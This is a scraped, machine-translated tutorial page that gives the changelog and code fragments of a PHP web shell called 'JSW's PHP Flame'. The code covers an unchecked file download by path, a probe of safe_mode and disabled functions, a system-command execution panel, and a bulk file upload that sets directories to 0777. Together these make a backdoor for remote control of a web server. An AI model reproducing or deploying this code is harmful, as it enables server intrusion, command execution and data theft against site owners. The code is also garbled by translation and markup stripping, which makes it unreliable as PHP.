Php_flame (version:progress) The original code _php tutorial

Source: Internet
Author: User
Some information about the Iphp_flame (version:progress):



* Fixed a bug that could not download the file
* Fixed a bug that could not return to superior
* Fixed a bug in code editing error
......

* Increase the Phpinfo function
* Added multi-file download function
* Increased ability to execute system commands
* Add code View function
* Increase the server security detection function
.......

* There are many landscaping jobs ... Related information:


1. Fixed a bug that could not return a higher level of code:
echo "Return to Superior";


2. Fixed the code that could not download the file:
Case "Download":
if (! @is_file ($_get[' file_name '))
echo "The file you are going to do not exist";
$filename = basename ($_get[' file_name ');
$filename _info = Explode ('. ', $filename);
$fileext = $filename _info[count ($filename _info)-1];
Header (' content-type:application/x-'. $fileext);
Header (' content-disposition:attachment; Filename= '. $filename);
Header (' content-description:php3 Generated Data ');
ReadFile ($_get[' file_name ');
Break



3. Add code viewing capabilities
? actionaa=cmd&method=show_source&cmd= The target=_blank> file code


4. Fixed code editing with error:
$tem = Str_replace ("/textarea>", "//textarea>", $tem);
。。。。。
$tem = Str_replace ("//textarea>", "/textarea>", $tem);


5. Increase the server security probe function:
if (Get_cfg_var ("Safe_mode")) echo "on
"Else echo" off
";
echo "* disable_functions:"; $dis _func=get_cfg_var ("disable_functions");
if ($dis _func== "")
{
Echo (" No value");
}
Else
{
$dis _func=str_replace ("", "
", $dis _func);
$dis _func=str_replace (",", "
", $dis _func);
Echo ("$dis _func");
}


6. Execute the code in the System commands section:
if ($actionaa = = "cmd") {?>


if (! $method) {$method = "system";}
if (! $cmd) {
echo "* JSW ' S PHP FLAME
";
echo "* AUTHOR:JSW
";
echo "* Safe_mode:"; if (Get_cfg_var ("Safe_mode") echo "on
"Else echo" off
";
echo "* disable_functions:"; $dis _func=get_cfg_var ("disable_functions");
if ($dis _func== "")
{
Echo (" No value");
}
Else
{
$dis _func=str_replace ("", "
", $dis _func);
$dis _func=str_replace (",", "
", $dis _func);
Echo ("$dis _func");
}

echo "
* Now choose a function and enter the command ... ";
}
echo "















echo "


echo "












echo "
";
Exit
}
?>

7. Add code for File upload:
if ($dir = = "")
$dir = "./";
?>
if ($tools ==upload)
{
for ($i =1; $i <21; $i + +)
{
$temp 1= "UserFile". $i;
$temp 2= "UserFile". $i. " _name ";
$source =$ $temp 1;
$source _name=$ $temp 2;
if (@ $source! = "")
{
@ $v =file_exists ($filedir);
if (! $v)
{
mkdir (@ $filedir, 0777);
}
@chmod ($filedir, 0777);
if (file_exists ("$filedir/$source _name") = = "1")
{
if ($up _flag== "Y")
{
@unlink ($filedir/$source _name);
@copy ($source, "$filedir/$source _name");
echo $source _name. " Upload is overwritten
";
}
Else
echo $source _name. " Please re-upload!
";
}
Else
{
@copy ($source, "$filedir/$source _name");
echo $source _name. " has been uploaded
";
}
}
}//end for
Echo


<title>JSW ' S PHP FLAME</title>











";
Exit;}
?>


。。。。。。
Finally, this PHP program is written on the basis of the Enron PHP command, thanks to the full code: http://jsw.china12e.com/jswsoft/show.php

http://www.bkjia.com/PHPjc/314542.html www.bkjia.com true http://www.bkjia.com/PHPjc/314542.html techarticle Iphp_flame (version:progress) Some information: * Fixed Unable to download the file bug * Fixed unable to return to the superior bug * Fixed the code edit error Bug ... * Added Phpi ...

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.